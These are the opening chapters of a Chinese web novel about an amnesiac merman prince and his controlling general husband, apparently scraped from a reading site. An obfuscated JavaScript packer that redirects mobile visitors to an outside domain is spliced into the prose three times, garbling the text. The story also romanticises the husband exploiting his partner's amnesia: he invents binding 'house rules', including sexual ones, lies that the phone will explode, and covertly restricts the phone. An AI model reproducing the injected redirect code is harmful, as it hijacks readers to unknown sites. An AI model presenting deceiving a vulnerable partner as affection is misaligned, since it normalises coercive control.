《失忆后成了偏执首领掌中鱼》 1. 离婚协议书 “你说什么?!” 一声大叫响彻云霄,几只觅食的海鸥吓的嘎嘎乱飞,远离了这片喧嚣的海滩。 两条人瘫在沙滩上,即将隐入地平线的落日余晖斜照在两人身上,像是梦幻油画。 其中一条人,不,其中一条人鱼用蓝色尾巴尖拨了拨身下的沙子,冷哼一声:“我说我要和傅寂洲离婚。” “你们吵架了?”另一条银尾人鱼担忧的问道。 “我早就受够他了,”叶鲤一手勾掉鼻梁上的墨镜,露出一双蓝宝石般瑰丽的眼睛,睫毛又长又翘,“他是小气鬼控制狂!总是看我不顺眼!他今天甚至把我新买的鸽血红大钻石扔进了垃圾桶!垃圾桶!还说什么重金属有辐射,切,总说一些我听不懂的人类语言,显摆什么。” “平时他就整天拉着脸,我出去打猎他不高兴,我买快递他不高兴,我甚至喝杯奶茶都要看他的脸色,这样的日子我受够了!” 傅寂洲,东联盟最年轻最英俊的上将,战功赫赫,英年早婚,对象还是史无前例的人鱼。 三年前,在人族与人鱼族关系僵持之时,傅寂洲主动求娶人鱼族唯一幸存的小王子,力排众议把叶鲤和他的子民带到陆地,开启了人与人鱼和谐共生的新纪年。 身旁的人鱼一直没有吭声,叶鲤甩了下尾巴,不高兴地提醒道:“你该附和我了。” 叶尘也是一条接触人类生活没几天的文盲鱼,更不懂辐射是什么东西。不过他挠了挠头,没顺着叶鲤的话说:“可是傅上将真的很好,上次你植脂末过敏住院——” 叶鲤小脸一沉:“我没有过敏,我只是睡过去了。海洋主宰者怎么会对人类制造的东西过敏。” 他伟大的胃部能轻松分解掉海底最难搞的海藻,区区一杯小甜水,他能降服不了? 叶尘:“……” 他闭上了嘴巴。 小王子什么都好,唯一美中不足的是,年轻的他还不够稳重。 但如果不是那些该死的海盗摧毁了他们的家园,叶鲤现在还待在宫殿享受无尽的美食,而不是与人类联姻,忍气吞声。 脑补出无数心酸委屈的大戏,叶尘眼中再次充满了心疼:“那就离!” 叶鲤终于听到了自己满意的话,他从屁/股底下抽出一张纸,得意洋洋地拿给叶尘看:“喏,离婚协议书,傅寂洲已经签字了。” 有了这张纸,他就可以恢复成一条自由鱼,买多多的大钻石! 那张A4纸在叶尘眼睛底下晃了一圈,又被叶鲤小心折叠好,重新塞回屁/股底下。 协议书可不能丢,还是贴身放着稳妥。 “珊瑚湾明晚有强潮汐流,很多小鱼被困在那里,我要去吃自助餐,你去吗?” 叶尘总觉得那张离婚协议书怪怪的,叶鲤问了他两遍,他才抬头:“啊?可是我明天晚上有中文课,去不了的。” 叶鲤其实也有中文课,不过他翘课的次数比家里的钻石还要多,更何况他现在是自由鱼,可以自己给自己请假,不受傅寂洲的命令。 “那我一个人去。我要先去平海湾补充一下营养,再进击珊瑚湾。大概七天后回来,子民有什么事情你看着办,我在海里收不到信号。” 叶尘是大哥失踪前为他培养的心腹鱼,虽然他在叶鲤面前咋咋呼呼,但他其实是一条非常有攻击力的鱼,在族里威信很高。把子民交给他,叶鲤就能尽情去吃自助了。 太阳已经完全没入地平线,夏日晚风吹拂着人鱼柔软纤细的发丝,带来大海的呼唤。 叶鲤把椰汁一饮而尽,把离婚协议书塞进手机防水袋,往脖子上一挂,欢呼一声跃入海里,顷刻间消失不见。 他的尾巴是深邃的蓝,黄昏中的海底更加幽静,每一次尾鳍摆动都会带出一连串的泡泡,像一串名贵的珍珠勾在尾部,在海中折射出璀璨光芒。 随着速度加快,更多的泡泡晃悠悠撞到海面,悄无声息的碎了。 叶鲤忽然想起被傅寂洲丢进垃圾桶的鸽血红大钻石。 他的大钻石估计也和这些泡泡一样,被扔进垃圾站搅碎成了渣渣。 混蛋傅寂洲!欺鱼太甚! 叶鲤愤愤的挺了挺尾巴,一个猛冲加速往深海潜入,远处,一辆高速行驶的蓝鲸直直冲来,两条鱼毫无防备的撞在了一起! Duang! 高达几米的大蓝鲸迷茫的扫视一圈,摆摆尾巴继续超速行驶。 叶鲤觉得脑袋一阵剧痛,还没等他痛斥这辆不长眼的蓝鲸,就两眼一翻栽进海底珊瑚丛。 我的自助餐……我的小鱼群…… 叶鲤晕过去之前,只剩下这一个念头。 —— 病房里鸦雀无声。 人鱼的半张脸陷在枕头里,呼吸绵长平稳。 傅寂洲俯身把人鱼白金色的发丝勾到耳后。 下属悄无声息地跪了一地。 “我有没有说过,不允许他私自下海。” 傅寂洲刚从联盟中心出来,身上的军服没顾得上脱下,极高的身量站在床前,阴影把人鱼完完全全笼罩住了。 副将鬓角全是冷汗,没有人敢抬头,只有新来的参谋长壮着胆子说道:“上将,是叶先生说和您签署了离婚协议——” “咚——” 傅寂洲把叶鲤的检查报告单放到桌子上,他的长相其实非常英俊,但是由于他气场压迫性太足,每一个和他对视上的士兵,只剩下一个念头——逃。 逃的越远越好。 傅寂洲气极反笑:“你觉得可能吗。” 参谋长唰的闭上了嘴。 “门口守着,他醒来时如果我不在,任何人不能放他离开。” “是!”一群人齐刷刷敬了礼,争着抢着跑出病房关上门。 傅寂洲重新把视线放回叶鲤身上,垂眸摸了一把他的鱼尾。 往常滑溜溜的鱼尾有些干涩。 人鱼离开水面后需要在鳞片上涂抹保湿乳膏,防止鳞片干硬。 傅寂洲做的很熟练,握惯了枪的手把乳膏均匀涂抹到每一片鳞片身上,食指很轻的把白色乳膏推到人鱼窄窄的腰部,把乳膏揉的完全被鳞片吸收,再挖出一坨新的,自上而下捋顺整个鱼尾巴。 最后俯身把湿润润的人鱼抱了个满怀。 他的声音阴沉,像是生气,又不全是生气。这一刻,高高在上的傅上将像是一个被抛弃的孩子,闷闷开口:“乱跑什么,我还不够好吗。” —— “根据头颅CT显示,病人头部的淤血并不严重,等他醒来,我们再做进一步的评估……” 谁在说话?叽叽咕咕说的什么? 叶鲤脑袋很晕,眼皮上好像有千斤重,一道低沉稳重的声音在他脑袋上方响起:“他醒了。” 叶鲤终于完全睁开了眼睛。 脑袋依旧晕,他觉得自己在做梦,不然为什么会有一个这么帅的人牵着他的手盯着他看? 嘴巴红红的,眼睛黑黑的,鼻子这么挺,手掌这么长…… 他发愣的模样被傅寂洲看着眼里,傅寂洲脸色微沉,看向医生:“这就是你说的不严重?” 他觉得叶鲤看起来更不聪明了。 医生后背一凉,试探性的问:“叶先生,您还好吗?” 全联盟谁不知道这位上将的脾气有多古怪!这位上将的老婆要是在他医院误诊,他的职业生涯就全完了! 叶鲤没有搭理他,像是听不懂人话一样。 也可能是真的听不懂,听说傅上将对这位人鱼王子宠到了溺爱的地步,担心人鱼学习人类知识会累到,于是傅上将把人鱼语言学了个十成十,两人平日里只用人鱼语沟通。 “你认错鱼了,我不是叶先生。放我回去,不然我哥会揍你们。”叶鲤慢吞吞的说着人鱼语,站在一旁的傅寂洲眉梢一挑。 叶鲤的哥哥几年前就失踪了。 他伸手抬了一下叶鲤的下巴:“好了,别说气话。告诉医生你哪里不舒服?” 被迫抬起头的叶鲤:? 他眼珠转了转,慢慢皱起眉头。难不成他也被钓上岸了? 人鱼族的死敌是西联盟海盗,这些海盗烧杀抢劫无恶不作,终年以贩卖人鱼交易为生。未成年人鱼尤甚。 一方面是因为小鱼能力弱,上岸后无法分化出人腿,攻击力被大大削弱;另一方面是因为,小人鱼拥有美的雌雄莫辨的脸庞和及腰长发,歌声梦幻,哭声悦耳,只需要一双手铐一个金笼,就能把弱小的人鱼困住,日日夜夜为人类舒展自己的单薄身躯。 每年都有几十位小子民失踪,再也没有音信。 为了保护子民,数代人鱼首领严厉杜绝未成年小鱼上岸接触人类,叶鲤再贪玩,也时刻谨记族令。 叶鲤眼中的惊疑太过纯粹,傅寂洲脸色难看起来:“叶鲤,我是谁?” 叶鲤迷茫地眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156166|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼。 现在海盗的手段确实是高超!美男计,还是会说人鱼语的美男,这谁顶得住! 傅寂洲的神情倏地沉了下来。 下一秒,东联盟第一人民医院再次陷入兵荒马乱。 院长火烧屁/股般从办公室弹射出来,半小时后亲自把厚厚的一沓检查报告双手递给傅寂洲:“上将,我很抱歉,叶先生脑部淤血损伤了记忆系统,现在他只有十八岁之前的记忆了。” 傅寂洲低头去看被医护人员推回来的蓝尾人鱼。 院长还在一旁絮叨:“人类对人鱼的研究并不多,贸然进行开颅手术危险太大,说不定几个月之后他的身体能自动吸收淤血,记忆也会慢慢恢复。” 叶鲤转了一大圈,晕晕乎乎的被摆弄一通,又被火速送回了这位漂亮人类身边。 刚刚那位老院长已经告诉他了,自己失忆了,现在的他不是十八岁的小鱼,而是二十三岁的大鱼。他也没有被海盗抓走,而是自愿上岸的。 失去了五年记忆,他觉得脑袋更晕了。 傅寂洲把水杯塞进他的手里:“你快要脱水了,把水喝完。” 叶鲤上半身前倾,和傅寂洲离得近了一点,两人的呼吸浅浅交合在一起,叶鲤能闻得到他身上淡淡的果木香。 他只扭捏了一瞬间,就问道: “你,你是我的朋友吗?” 傅寂洲面无表情地看着这条总是闯祸的麻烦精。 叶鲤总是这样,贪玩还没有心眼,看见好看的东西就想占为己有,玩几天又果断扔掉。 家里除了主卧,每一间客房都堆满了他网购的劣质重金属的塑料珍珠钻石,好像这个家除了他傅寂洲,什么都很重要。 傅寂洲没有第一时间回答,叶鲤就这样专注的看着他,没心没肺的忘了昨天他说过的那些伤人的话。 良久,傅寂洲握住了叶鲤的手,男人眼底的笑意深不见底:“不。我是你男朋友。” —— “所以说,我上岸了,有了中文名字,还和人类结婚了?” 半小时后,叶鲤极其精准的对自己的五年进行了概况。 天呐,他简直是鱼生赢家! 傅寂洲垂眸看着两人的手,嗯了一声。 随后,慢条斯理地从一旁的袋子里抽出来一张纸递了过去。 傅寂洲之前不止一次因为叶鲤不好好学习中文而生气,但不可否认的是,不识字的叶鲤真的非常好骗。 “这是什么?”叶鲤把脑袋凑过来。 傅寂洲偏头,极其自然地吻上他的侧脸,声音比刚刚更加温柔:“你定的家规。需要我帮你念一下吗?” 家规? 我定的? 叶鲤心里一点印象都没有了,他只是下意识地摸了摸被亲过的脸。 这是他的初吻…… 虽然,可是,他还不知道男朋友的名字,就被男朋友亲了! 叶鲤尾巴尖混乱的抖了好几下。 他觉得有点害羞。 傅寂洲瞥了他一眼,念道: “家规第一条,不允许夜不归宿,晚上十点必须回家履行夫夫义务。” “家规第二条,每周至少交公粮五次,无上限次数要求。” “家规第三条,每日必须有早晚安吻和拥抱,亲吻和拥抱次数无上限。” “家规第四条,每次外出,必须报备,单次外出时间不可超过三小时。” …… 叶鲤:O . O 这么多条条框框,看来他爱惨了这个漂亮人类,生怕他被别的鱼抢跑。 不过,这些话也太陌生了,他完全没印象,叶鲤忍住心里的羞耻感,对忘记男朋友、忘记家规的事情表示惭愧。 他像是一个抛夫弃子的鱼渣。 傅寂洲一连念了十几条,直到“砰”的一声踹门声响起。 “叶鲤,你没事吧?!” 病床上快黏成一坨的一人一鱼齐齐抬头。 叶尘尴尬的放下脚,尬笑一声:“傅上将也在啊。” 叶鲤热情和他打招呼:“胖胖,我没事!” 叶尘浑身一个激灵,他都上岸三年了,叶鲤怎么忽然叫自己的小名啊! 他摆了摆手:“你没事就好——” 话没说完,就看见两人一起拿着的A4纸。 他话音一顿,那不是叶鲤给自己看过的离婚协议书吗? 2. 红钻 叶尘和傅寂洲站在病房走廊外。 叶尘欲言又止:“傅上将,叶鲤说你们离婚了?” 傅寂洲深吸一口气。 他现在听不得这两个字。 叶鲤在他面前吵就算了,竟然还把家事说出去。 “夫夫之间的玩笑话,不必当真,”傅寂洲把病房门关严,声音低沉,“我们这么恩爱,你又不是不知道。” 叶尘迟疑的哦了一声。 其实他真不怎么知道。 叶鲤不爱秀恩爱。但是叶尘转头看了看,VIP病房门口站满了警卫,第一人民医院的院长亲自拿着检查报告再三观看,事发到现在滴水未进的上将…… 一切都有迹可循,看起来再恩爱不过了。叶尘放心的再次相信了傅寂洲的话。 已经到叶鲤吃饭的时间,傅寂洲抬手看了眼表,给家里做饭阿姨打电话。 “还有一件事需要麻烦你,”傅寂洲转过头,掏出一张黑卡推了过去,一张拒人于千里之外的脸罕见地对叶尘和颜悦色道, “他失忆了,族人还需要你辛苦照顾一段时间,有什么缺的尽管提。还有—— 我不善言辞,我们甜蜜幸福的婚后生活,还需要你来讲给他听。” —— 叶鲤在床上瘫成一张鱼饼,歪头看着紧闭的病房门。 傅寂洲和胖胖出去了,病房骤然安静下来,他托腮看着手中的家规,片刻后把脑袋凑近纸张,轻轻嗅了嗅。 果木香,和他自己的味道。 他还是觉得不真实,明明昨天他还正在和鲨鱼搭子一起追赶鱼群,每天唯一的任务就是填饱肚子,结果一觉醒来,已经是五年后了? 他捞起桌子上的镜子,左右转动脑袋去看自己的脸。 人类的镜子要比海面清楚的多,把人鱼姣好的脸蛋照的一清二楚。 唔,二十三岁的他瘦是瘦了点,但是依旧很靓,看上去和十八岁没一点区别! 要不是胖胖忽然出现,他都要怀疑这个漂亮人类是专门来诈骗他的。 叶鲤呆了一会,忽然觉得肚子饿。 他摸了摸扁扁的胃,看向窗外黑漆漆的天空。 人鱼昼伏夜出,现在正是打猎的好时候。 叶鲤生在大海,能精准的感受到潮起潮落,小鱼群巨巨巨多的珊瑚湾马上要有一场强烈的潮汐流。 正是干饭的好时机,叶鲤精神抖擞地甩了下尾巴尖。 管他什么失忆,先去一趟珊瑚湾填饱肚子是正事! 他兴冲冲地翻身下床,下一秒,鱼尾和滑溜溜的地板亲切的打了声招呼,往前呲溜一滑! 叶鲤大惊失色地抱紧了床头柜。 尾巴僵硬的绷紧,整条鱼和地面形成了一个标准的三角形,这下不会摔倒了,但也爬不回床上了! “胖胖——我的尾巴不听话——” 叶尘夺门而入,手忙脚乱地把叶鲤抬到了床上。 叶鲤急的出了一脑门子汗,一巴掌拍向尾巴:“你怎么回事,怎么不会变腿?” 叶尘欲言又止:“你……不记得了?” 叶鲤:“啊?” 他应该记得吗? 看来叶鲤把十八岁生日时候的事情也给忘记了。 “你的尾巴受伤了,暂时变不了人腿,”叶尘小心翼翼地看着叶鲤的表情,“你不要担心,傅上将一直在帮你治疗,很快就能恢复的。” 叶鲤觉得胖胖有事瞒着自己。 都是从小光着尾巴长大的鱼兄,叶鲤又不傻,这五年一定发生了很严重的事。 叶鲤把打猎的事情暂时搁置,皱眉追问:“大哥呢?他肯定有办法治我的尾巴。” 大哥无所不能。 并且现在的他才刚刚认识傅寂洲,听见胖胖话里话外如此信任崇拜一个陌生人,他还是不太习惯。 叶尘沉默了。 人鱼十八岁会有一场成鱼礼,只有成鱼礼之后的鱼才能随意切换成人腿。叶鲤十八岁生日那天海盗突袭族人,大哥身为人鱼族的首领,只身一人引开海盗,到现在都还杳无音信。 也是在那时候,叶鲤为了保护族人,尾巴被海盗砍了一道长长的伤口,差点断尾,到现在都无法分化成人腿。 “我们上岸和人类合作,共享海洋资源,就是为了让人类帮助我们寻找首领,”叶尘说,“人类现在高科技很厉害,一定能找到他的。” “傅上将每年都会派遣军队去陌生海域搜寻,我相信很快就会有结果的。” 叶鲤沉默的看着自己的尾巴,原来这五年发生了这么多的事情。 “大家上岸后开心吗?” 叶尘做好了安慰叶鲤的准备,没想到叶鲤这样问,有些诧异的点头:“大家都很开心的。” “那我很厉害了,”叶鲤尾巴支棱起来,“虽然我现在什么都不记得了,但我会保护好族人,等哥哥回来。” 叶鲤永远是最勇敢、最乐观的小鱼。 “不要伤心胖胖,日子要向前看,”叶鲤故作沉稳的拍拍叶尘的肩,“现在我们去打猎吧。” 他已经是二十三岁的成年鱼了,不能哭鼻子。 “好好养伤,别出去了。”傅寂洲去而复返,手里拎了一个盒子。 他把盒子往他面前推了推:“吃饭吧。” “不用啦不用啦,我的伤没有那么严重,而且我自己会打猎。”叶鲤看着傅寂洲的帅脸,不好意思地摆摆手,毕竟只有未成年的小鱼才需要大鱼帮忙打猎带饭。 傅寂洲看了他一眼,把食盒盖子掀开了。 叶鲤推拒的手猛地停了下来。 肥美的去壳海虾堆叠在一起,虾肉晶莹剔透,闻起来格外香甜。盒子下面那层是剔了鱼骨的鱼肉,被切成了片,和一条条三文鱼编成小花,黄白相间,层层叠叠,叶鲤咽了口口水。 虽然虾壳和鱼骨影响不了他进食,但某个深海原始鱼还是第一次见识人类华丽的摆盘大法,原来食物还能被摆弄的这么漂亮,他前十八年真是白活了! 傅寂洲毫不意外,他把刀叉递给叶鲤:“都是你的,吃吧。” 叶鲤深深吸了口气,什么珊瑚湾的小鱼群,完全比不上这盒漂亮饭,原来他上岸后吃的这么好吗?! 这样的话,被当成幼崽也没关系的,这食物真的太香了QAQ 傅寂洲静静地看着叶鲤,眼神闪过一丝阴郁。 他才出去不到十分钟,叶鲤就想离开他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156167|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天他只放手了一会儿人鱼就撞到了脑子,要是再出去,谁知道他会遇到什么危险。 人类都是一群阴险狡诈的生物,人鱼只有在自己身边才最安全。傅寂洲阴沉沉的想。 —— 叶鲤嗦完最后一口三文鱼肉条后,傅寂洲把手里攥着的小盒子放在他面前。 傅寂洲常年征战,手掌宽大,小盒子在他手心显得愈发精致小巧,他抬起另一只手打开盒子,露出里面的鸽血红大钻石戒指。 叶鲤:!!! 那么小的盒子,怎么装了这么大的钻石! 皮薄馅大! 人鱼最喜欢这些亮闪闪的宝石,叶鲤发出一声大大的赞叹。 “上午加急空运过来的红钻,”傅寂洲取下钻戒,戴在叶鲤左手无名指上,“现在它是你的了。” 纯粹的红钻本就不多见,像鸽子蛋一样大的更是百年难得一遇。这枚钻戒重达五十多克,是某个小国的镇国之宝,很衬他家的人鱼。 “这多不好意思……”叶鲤嘴上说着,迫不及待地张开五指,翻来覆去欣赏钻戒的美丽。 “你是我的伴侣,我送你礼物是天经地义。”某人着重强调了一下两人的伴侣身份。 傅寂洲想起早上那枚重金属的劣质水晶钻,如果不是因为它,叶鲤也不会忽然生气,说一些离婚的气话。 他决定明天就给叶鲤请一位珠宝鉴定老师,这样叶鲤就不会再带假货回家,也不会再提出离婚这种危险的言论。 叶鲤现在终于知道自己为什么这么喜欢一个人类了。 他不仅长的好看,送的礼物也好看! 等等—— 他不会真的是因为傅寂洲出手大方,才缠着人类结婚的吧? 叶鲤笑容忽然一僵。 “我下午看到一枚蓝钻,也很衬你,”傅寂洲低头翻出照片给他看,“喜欢吗?” 叶鲤不由自主的嗯嗯点头。 “乖乖在医院养身体,出院后就给你买。” 傅寂洲的语气特别自然,但是这次叶鲤瞄见了照片下面的标价,999后面缀了好多个0。 他尽管失忆了,但是购物的常识还在,这枚蓝钻的价格绝对不便宜。 “好贵哦,其实有这枚红钻就够啦。”叶鲤坐的板正,小声提议。 傅寂洲奇怪地看他一眼:“贵?” 不过是红钻价格的一半,他又不是买不起。 叶鲤读懂了傅寂洲的表情。 他的人类伴侣,好像非常,非常,非常有钱。 嘶—— 试想,一个刚上岸、兜比脸干净的人鱼,上岸后发现了一个大款,他是选择傍呢,还是积极的傍呢? 叶鲤脑子里上演了一出自己为了钱和钻石苦苦追妻的戏码,不由得委婉地问道:“我们平常怎么相处呀?” 傅寂洲回答的很快:“你看家规就知道了,你特别喜欢我,非常黏人听话。” 天呐,他一定为了讨好傅寂洲牺牲了很多。 毕竟他又不是很美味,呸,很美丽的小鱼,不能出卖色相,只能黏人一点才讨喜。 叶鲤放心地把大钻戒戴回了手上。 这可是他应得的。 3. 防沉迷 人鱼的自我修复能力比人类好得多,叶鲤吃了一顿豪华海鲜,头也不晕了,眼也不花了,兴奋的把床头灯按灭再拍亮。 傅寂洲洗完澡出来,对明明暗暗的房间习以为常。 叶鲤的手机在一旁放着。 傅寂洲一下一下擦着发尾的水滴,眯了眯眼睛。 自从某次他拿着叶鲤的手机一口气帮他退了十几件劣质快递后,叶鲤就总是把手机藏起来不给他看。 难得小鱼不设防。 傅寂洲径直上前按住叶鲤的手,成功指纹解锁了叶鲤的手机。 他面不改色的把一个备注为“坏蛋”的联系人改成“宝贝”,指尖一顿,自己先勾唇笑了笑。 真是会自欺欺人,他自嘲的想。 傅寂洲低头幽幽的看着床上毫无防备的单纯小鱼,勾起一截白金色的长发绕在指尖。自欺欺人他也认了,他等待此刻已经足够久。 “乖,歇歇吧。” 让灯泡歇歇,别一会儿给人家医院玩爆炸了。 傅寂洲修改了备注,又设置了一个程序,就把手机还给了人鱼。 叶鲤低头看着手中的黑色小扁盒子。 他的脑子还没想起来小盒子叫什么,手指已经凭借本能唰的点开了PDD。 大数据操控下的主页瞬间弹出一堆绚丽的宝石,赤橙黄绿青蓝紫,什么颜色都有,价格经济实惠,各个都是大促价。 叶鲤:OVO! 比头顶会明会暗的泡泡还要好玩的东西出现了! 脑子失忆数个小时,叶鲤终于激活了一丁点记忆——网购。 傅寂洲对叶鲤的网瘾有着清晰的认知,他捏着叶鲤的腮帮子左右晃了晃,提醒道:“下单之前先拿给我看。” 他傅寂洲,从此以后将杜绝一切劣质假钻石进家门。 —— 乱花渐欲迷鱼眼,叶鲤在直播间里来回纠结。 粉钻很漂亮,黄钻也相当不错。 但他今晚只准备买一个。 一上来就买好多钻石的话,好像他是一只特别贪财的小鱼,影响他在傅寂洲心中的形象。 叶鲤还没选好,手机直播间忽然自动退出,屏幕一片空白,安静的闪烁着几个他不认识的大字。手机离奇的不能观看,也不能操作了。 欸?! 怎么回事! 叶鲤懵懵的看着手机屏,下意识向傅寂洲看去。 后者不知道什么时候就已经躺在了他的身边 ,勾着他的头发慢悠悠的把玩。 没揪疼他,以至于他现在才发现。 叶鲤把男人手掌的发丝往回扯了扯,傅寂洲抬眼:“嗯?” “手机,坏了。”叶鲤求助道。 傅寂洲平静的看着手机屏上仅有的几个大字:青少年防沉迷。 “人类的手机就是这个样子,你忘了吗?”傅寂洲轻声说,“一天只能用4个小时,再久就会爆炸。” 叶鲤完全没有印象,他眼睛圆圆的,瞪大时显得格外委屈:“啊?可是我没有玩够4个小时。” “那是因为上午二十三岁的叶鲤帮你玩了三个小时。”傅寂洲骗鱼的技术炉火纯青。 他早就想限制叶鲤上网时长了,对眼睛不好,也不利于家庭恩爱幸福。 “不信你摸摸,”男人勾唇把手机贴在叶鲤手臂上,“是不是很烫?” 叶鲤被烫的一激灵,唰的把手机扔远了。 傅寂洲说的是真的! 傅寂洲的手还悬在半空中,他听到了手机咣当一声砸在地板,屏幕咔嚓碎掉的声音,嘴角无声的抽了抽。 这鱼,没钱还真是养不起。 叶鲤伤心的伸直了尾巴,了无生趣的躺在床上。 早知道就不纠结到底选粉钻还是黄钻了,现在好了,今晚一个也没捞着。 “真的一分钟也不能多玩了吗?”叶鲤翻身面向他,小声叹气。 叶鲤生了一副好相貌,此刻他趴在枕头上,小巧的下巴搁在臂弯,露出薄红的鼻头和湿漉漉的圆眼,白金色长发从圆润莹白的肩头滑落,挠到傅寂洲心尖。 他对叶鲤总是无条件心软。 算了,他有网瘾还不是自己惯的。 傅寂洲在部队里向来独断专权,他的控制欲在铁血军队里彰显的淋漓尽致,无数士兵仅仅只是听到他的名字就开始头皮发麻痛哭流涕。他手下没有刺头,只有在绝对的力量压制下低头服从的兵。 如果他手底下那群饱受蹂躏的小兵看到傅上将这副面孔,绝对抱头尖叫着赏自己一颗子弹。 认命的叹息一声,傅寂洲把自己的手机交了上去:“给你,我的手机还能再玩两个小时。” 叶鲤瞬间满血复活,红光满面的接了过来。 “你给我,那你怎么玩?”叶鲤还知道谦虚一下,不过抱着手机的手一直没松。 “我不喜欢玩。”傅寂洲面无表情的说道。 叶鲤眼睛更亮了:“那你可以每天都让我玩两个小时吗?” 傅寂洲:“……” 那他设置防沉迷有什么用? 叶鲤依旧亮晶晶的瞅着他,不知道为什么,他明明失忆了,但是潜意识里还是认定了傅寂洲不会拒绝。 “拜托拜托。”叶鲤双手合十,拉长了尾音。 傅寂洲狼狈地转过头,又忍不住转回来掐了一下他柔软的脸颊, “好了,我答应你。别撒娇。” —— 晚十点,叶鲤心里惦记着家规,自觉的把手机还给了傅寂洲。 他还记得傅寂洲的话,晚上十点要履行夫夫义务。 傅寂洲早早就躺在他身边,还不穿衣服,是个鱼都知道这是什么意思,叶鲤又不傻。 “我失忆了,家规也都要遵守吗?”叶鲤脸颊微红。 傅寂洲:“当然。” 叶鲤不吭声了。 他放下手机后才发现傅寂洲的存在感有多强,叶鲤之前在海里遇到大风大浪,睡着睡着就被卷跑了,往往睡醒时身边围了一群没脑子的小鱼,他完全不在乎的。 但是傅寂洲是一个热的、有呼吸的人类。他的肌肉随着动作起伏,健硕有力,沉甸甸的手臂随意的搭在叶鲤腰间。离得近,傅寂洲身上的果木香更清晰了。 叶鲤不明白为什么看着这么冷漠的一个人会有这么香甜的味道,让他忍不住想趴上去咬一口。 不过,叶鲤看着傅寂洲堪称完美的身材,支支吾吾说:“我现在是虚岁十八,不能……不能……” 傅寂洲静静看着他。 其实他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156168|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只在结婚当天做过一次,叶鲤的反应很激烈,极度排斥他的接近。 就连此后的发/情期,叶鲤都不让他靠近一步。明明人鱼对这种事情非常积极喜欢,但是叶鲤总把他当成洪水猛兽。 傅寂洲眼底划过一丝阴郁,唇角笑意淡了。 叶鲤很敏锐,马上止住了话音,一瞬间警觉起来:他的大款不开心了。 他瞬间幻视自己的大红钻大蓝钻被没收,手机一天只能玩四个小时的悲惨生活。 叶鲤火急火燎地谴责自己:你辛辛苦苦写家规、日复一日死缠烂打,大钻戒都到手了,怎么能功亏一篑! 死脑子,快补救! 叶鲤唰的高高举起自己的手臂,精准揽住了傅寂洲的脖子。 “啾!” 叶鲤这时候也顾不得害羞了,闭着眼嘟起唇,笨拙但迅速的对着面前这张冷下去的帅脸亲了一口。 傅寂洲呼吸一滞,下意识揽紧了他的腰。 叶鲤亲完了也没立刻离开,像是给自己打气一样大声喊道:“不要生气,不可以睡但可以亲!” 男人没有第一时间回话,叶鲤睁开紧闭的眼睛,抬头观察他。 两人之间距离近的连一张薄纸都插不进去。 傅寂洲掀了下眼皮,深黑色眸子和他对视。 叶鲤唰的移开眼睛。 三年了,这是叶鲤第一次主动吻他。 原来之前不是不会亲人,只是不亲他罢了。 傅寂洲长久的沉默了一会,他盯着人鱼忐忑不安的小脸轻扯了下唇角,把脸偏过去:“这边也要。” 叶鲤听话的梆梆啄了几口,这次主打一个雨露均沾。 随后傅寂洲的神色肉眼可见的好了起来。 叶鲤如释重负,在心里大叹气。 红钻蓝钻你们看到了吗,为了拯救你们,你的主人不惜牺牲一切,多么勇敢伟大! “可以亲?”傅寂洲重复着他说的话。 他伸出手,按住叶鲤柔软的唇来回拨弄。 有点痒,更多的是不知所措。傅寂洲给人的感觉太过锋利危险,他的眼神落在自己唇上,直勾勾的,像是要把他的唇烫出一个洞来,叶鲤轻轻咬了咬下唇。 “那每天的夫夫义务,就用吻来代替吧。”傅寂洲放下手,轻飘飘的一句话,一锤定音。 根本没有他拒绝的余地。 甚至男人还在一旁淡淡的补充道:“这可是你自己同意的。” 为了钻钻们——他可以! 叶鲤认真点头,男人盯着他看了会,倾身抱住了他。 极具侵略性的吐息打在他的肩上,傅寂洲拨弄着他的耳朵,动作很慢, “夫夫义务可以换,但别的家规照样要遵守—— 家规第十三条,必须抱着我睡觉,每晚。” 叶鲤准备回头说什么,被他捏着脸颊肉止住了嘴。 “啪”的一声,傅寂洲关了灯。 病房一片漆黑,安静的只能听到两个人的呼吸声。 叶鲤像个毛毛虫一样蛄蛹了几下,被傅寂洲掐住腰,动弹不得。 傅寂洲的夜视能力不比人鱼差,他低头打量着单纯的、比平日更加好骗的人鱼,笑了一下, “嘘,睡吧。反正家规是你定的。” 4. 熬夜 叶鲤睡不着。 现在根本不是人鱼休息的时间,往常的这个时候他还在海底和小伙伴一起掏海胆呢。 说起来海胆……嘿嘿,天底下怎么会有这么善良的食物,自带小碗,一口嗦完香香的…… 叶鲤抱着被子,觉得嘴巴馋了。 他看了眼傅寂洲,失望地发现男人还没醒。 怎么睡这么久,他这个年纪,怎么能在干饭的时间睡得这么死? 